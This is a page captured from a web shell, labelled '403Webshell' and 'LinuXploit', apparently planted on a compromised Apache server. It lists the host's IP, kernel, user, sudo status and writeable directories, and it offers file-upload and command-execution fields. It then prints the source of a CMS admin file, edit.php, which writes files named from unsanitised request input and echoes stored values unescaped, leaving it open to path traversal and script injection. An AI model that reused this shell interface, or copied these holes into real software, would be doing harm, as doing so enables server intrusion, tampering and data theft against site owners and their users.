403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usagrantapplications.org/pom/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usagrantapplications.org/pom/admin/edit.php
<?
include_once("{$_SERVER["DOCUMENT_ROOT"]}/pom/admin/includes/UserAuthentication.php");

if ($_POST)
{
	$pagename = stripcslashes(trim($_POST['page']));
	$title = stripcslashes($_POST['title']);
	$keywords = stripcslashes($_POST['keywords']);
	$description = stripcslashes($_POST['description']);
	$header = stripcslashes($_POST['header']);
	
	$text = stripcslashes($_POST['text']);
	
	$b = $_POST['b'];
	$p = $_POST['p'];
	$h = $_POST['h'];
	$e = $_POST['e'];
	
	$banners = "$b,$p,$h,$e";
	
	file_put_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/files/" . $pagename . ".html",$text);
	file_put_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/files/" . $pagename . ".title",$title);
	file_put_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/files/" . $pagename . ".banners",$banners);
	file_put_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/files/" . $pagename . ".keywords",$keywords);
	file_put_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/files/" . $pagename . ".header",$header);
	file_put_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/files/" . $pagename . ".description",$description);
	
	$default_file = "{$_SERVER["DOCUMENT_ROOT"]}/pom/default.php";
	$new_file = "{$_SERVER["DOCUMENT_ROOT"]}/" . $pagename . ".html";
	copy($default_file,$new_file);
	header("Location: /pom/admin/index.php");
	exit();
}
else
{
	$pagename = $_GET['page'];
	$page = $pagename . ".html";
	
	$text = file_get_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/files/" . $pagename . ".html");
	$title = file_get_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/files/" . $pagename . ".title");
	$banners = file_get_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/files/" . $pagename . ".banners");
	$keywords = file_get_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/files/" . $pagename . ".keywords");
	$header = file_get_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/files/" . $pagename . ".header");
	$description = file_get_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/files/" . $pagename . ".description");
	
	list($b,$p,$h,$e) = explode(",",$banners);
	$templates = array();
	$dir = dir("{$_SERVER["DOCUMENT_ROOT"]}/pom/admin/templates/");
	while (false !== ($entry = $dir->read())) 
	{
		if (strpos($entry,".php")>0)
		{
			$entry = str_replace(".php","",$entry);
	   		$templates[] = $entry;
	   	}
	}

}
/*

					*/
?>
<html>
	<head>
		<title>The Heinz Page-O-Matic</title>
		<!-- Combo-handled YUI CSS files: -->
		<link rel="stylesheet" type="text/css" href="http://yui.yahooapis.com/combo?2.7.0/build/fonts/fonts-min.css&2.7.0/build/tabview/assets/skins/sam/tabview.css&2.7.0/build/grids/grids-min.css&2.7.0/build/base/base-min.css&2.7.0/build/assets/skins/sam/skin.css&2.7.0/build/button/assets/skins/sam/button.css&2.7.0/build/container/assets/skins/sam/container.css">
		<!-- Combo-handled YUI JS files: -->
		<script type="text/javascript" src="http://yui.yahooapis.com/combo?2.7.0/build/utilities/utilities.js&2.7.0/build/element/element-min.js&2.7.0/build/tabview/tabview-min.js&2.7.0/build/button/button-min.js&2.7.0/build/container/container-min.js&2.7.0/build/datasource/datasource-min.js&2.7.0/build/datatable/datatable-min.js&2.7.0/build/selector/selector-min.js&2.7.0/build/yahoo-dom-event/yahoo-dom-event.js&2.7.0/build/connection/connection-min.js&2.7.0/build/dragdrop/dragdrop-min.js"></script>
		<style>
			<!--
			body, table { font:11px Verdana,Arial,Helvetica,sans-serif }
			td.tdDark { background-color:#DCDCDC; }
			td.tdLight { background-color:#F6F6F6; }
			td.tdDark, td.tdLight { padding:3px; }
			.noBorder {border: solid 0px #fff;}
			-->
		</style>
		<script type="text/javascript" src="/pom/admin/js/pom.js"></script>
	</head>
	<body class="yui-skin-sam">
		<div id="editpage">
			<form action="<?php echo $PHP_SELF; ?>" method="POST" id="editform">
				<table border="1" cellpadding="2" cellspacing="0" align="center">
					<tr>
						<th colspan="2" align="center" style="background-color: #dcdcdc;">
							Edit <?php echo $page; ?>
						</th>
					</tr>
					<tr>
						<td align="left" valign="top" colspan="2" class="noBorder">
							<fieldset>
								<legend>Options</legend>
								<table border="0" cellpadding="2" cellspacing="0" align="center">
									<tr>
										<td align="right" class="noBorder">Title:</td>
										<td align="left" class="noBorder">
											<input type="text" name="title" value="<?php echo $title; ?>" size="64" />
										</td>
									</tr>
									<tr>
										<td align="right" class="noBorder">Keywords:</td>
										<td align="left" class="noBorder">
											<input type="text" name="keywords" value="<?php echo $keywords; ?>" size="64" />
										</td>
									</tr>
									<tr>
										<td align="right" class="noBorder">Description:</td>
										<td align="left" class="noBorder">
											<input type="text" name="description" value="<?php echo $description; ?>" size="64" />
										</td>
									</tr>
									<tr>
										<td align="right" class="noBorder">Header:</td>
										<td align="left" class="noBorder">
											<input type="text" id="edit_header" name="header" value="<?php echo $header; ?>" size="24" />
											<input type="button" value="Select..." onclick="display_headers();">
										</td>
									</tr>
									<tr>
										<td align="right" valign="top" class="noBorder">Banners:</td>
										<td align="left" valign="top" class="noBorder">
											<table border="0" cellpadding="2" cellspacing="0" align="left" class="noBorder">
												<tr>
													<td class="noBorder">
														Business:
														<input type="checkbox" name="b" value="B"<? if ($b == 'B') { echo " checked";}?> />
													</td>
													<td class="noBorder">
														Personal:
														<input type="checkbox" name="p" value="P"<? if ($p == 'P') { echo " checked";}?> />
													</td>
													<td class="noBorder">
														Housing:
														<input type="checkbox" name="h" value="H"<? if ($h == 'H') { echo " checked";}?> />
													</td>
													<td class="noBorder">
														Education:
														<input type="checkbox" name="e" value="E"<? if ($e == 'E') { echo " checked";}?> />
													</td>
												</tr>
											</table>
										</td>
									</tr>
								</table>
							</fieldset>
						</td>
					</tr>
					<tr>
						<td align="left" valign="top" colspan="2" class="noBorder">
							<fieldset>
								<legend>Text</legend>							
								<table border="0" cellpadding="0" cellspacing="0" align="left">
									<tr>
										<td align="left" class="noBorder">
											Template:
											<select name="template" id="template" onchange="var template = document.getElementById('template').value; load_template(template);" >
												<?php
													foreach ($templates as $template)
													{
														if ($template == "default")
														{
															echo "<option value=\"$template\" selected>$template</option>";
														}
														else
														{
															echo "<option value=\"$template\">$template</option>";
														}
													} 
												?>
											</select>
										</td>
									</tr>
									<tr>
										<td align="left" class="noBorder">
											<textarea name="text" id="edit_text" cols="80" rows="20"><?php echo $text; ?></textarea>
										</td>
									</tr>
								</table>
							</fieldset>
						</td>
					</tr>
					<tr>
						<td colspan="2" align="center" class="noBorder">
							<input type="button" value="Cancel" onclick="location.href = '/pom/admin/';" />
							<input type="submit" value="Update Page" />
						</td>
					</tr>
				</table>
				<input type="hidden" name="page" value="<?php echo $pagename; ?>" />
			</form>
		</div>
		<div id="view_headers" style="display: none;width:800px;">
			<div class="hd">Headers</div>
			<div class="bd">
				<div id="view_headers_display" style="background:#fff;color:#000;">
					<center>
						<img src="/pom/admin/images/ajax-loader-1.gif">
					</center>
				</div>
			</div>
			<div class="ft"></div>
		</div>
	</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit